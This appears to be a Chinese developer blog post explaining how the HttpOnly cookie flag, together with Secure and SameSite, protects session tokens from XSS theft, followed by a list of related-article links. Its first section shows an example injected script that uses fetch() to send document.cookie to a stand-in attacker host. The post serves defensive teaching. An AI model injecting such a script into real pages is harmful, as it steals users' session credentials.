HttpOnly 是怎么防止 XSS 攻击的?

1. 什么是 XSS(跨站脚本攻击)

XSS(Cross-Site Scripting) 是一种常见的前端安全漏洞。攻击者通过在网页中注入恶意 JavaScript 代码,借此窃取用户敏感信息或劫持用户会话。常被窃取的目标包括:

  • 登录用的 token / session ID
  • 用户的 Cookie
  • 页面上的隐私数据(表单内容、个人信息等)

示例(攻击者注入的脚本):

html 复制代码
<script>
  // 将当前页面的 cookie 发到攻击者服务器
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

这个脚本直接读取 document.cookie 并把值发送出去,因此如果会话凭证存储在普通 cookie 或可被 JS 访问的存储中(如 localStorage),就会被窃取。


2. 设置 HttpOnly 后的防护效果

如果将敏感的 token(比如 refresh_token)以 cookie 形式存储,并在服务端设置 HttpOnly 属性,例如:

复制代码
Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict

则表示:

  • 浏览器禁止 JavaScript 访问该 cookie (即不会将其暴露给 document.cookie)。
  • 因此,即使页面被 XSS 脚本注入,攻击者也无法通过脚本读取该 cookie 的值,从而有效防止凭证被直接窃取。

需要注意的是:

  • HttpOnly 阻止的是JavaScript 读取 Cookie 的能力,但浏览器在发起请求时仍会自动带上该 Cookie(正常的后端鉴权仍然有效)。
  • 为了更全面防护,建议同时使用 Secure(仅 HTTPS 传输)和 SameSite(防 CSRF)等属性,并结合输入校验、输出转义等手段防止 XSS 植入。

小结

  • 未设置 HttpOnly 的 Cookie :可被 document.cookie 读取,易被 XSS 窃取。
  • 设置 HttpOnly 的 Cookie:不可被 JavaScript 读取,能有效阻断 XSS 对凭证的直接窃取。
  • 但 HttpOnly 不是万能:仍需配合 HTTPS、SameSite、CSRF Token、严格的输入输出过滤等安全措施,构建多层防护体系。

相关推荐
月弦笙音12 小时前
【Vue组件】封装组件该考虑的核心点
前端·javascript·vue.js
用户25191624271112 小时前
Node之单表基本查询
前端·javascript·node.js
文心快码BaiduComate12 小时前
基于YOLOv8的动漫人脸角色识别系统:Comate完成前端开发
前端·后端·前端框架
需要兼职养活自己12 小时前
react 之redux
前端·react.js·redux
ら陈佚晨12 小时前
React 18 的核心设计理念:并发渲染
前端·javascript·react.js·前端框架·fiber
草字13 小时前
uniapp 打开横竖屏。usb调试时可以横竖屏切换,但是打包发布后却不行?
java·前端·uni-app
EF@蛐蛐堂13 小时前
Federation vs Garfish vs Micro-app 微前端选型(二)
前端·vue.js·前端框架
洋不写bug13 小时前
前端html基础标签
前端·html
GISer_Jing13 小时前
前端学习总结——AI&主流前沿方向篇
前端·人工智能·学习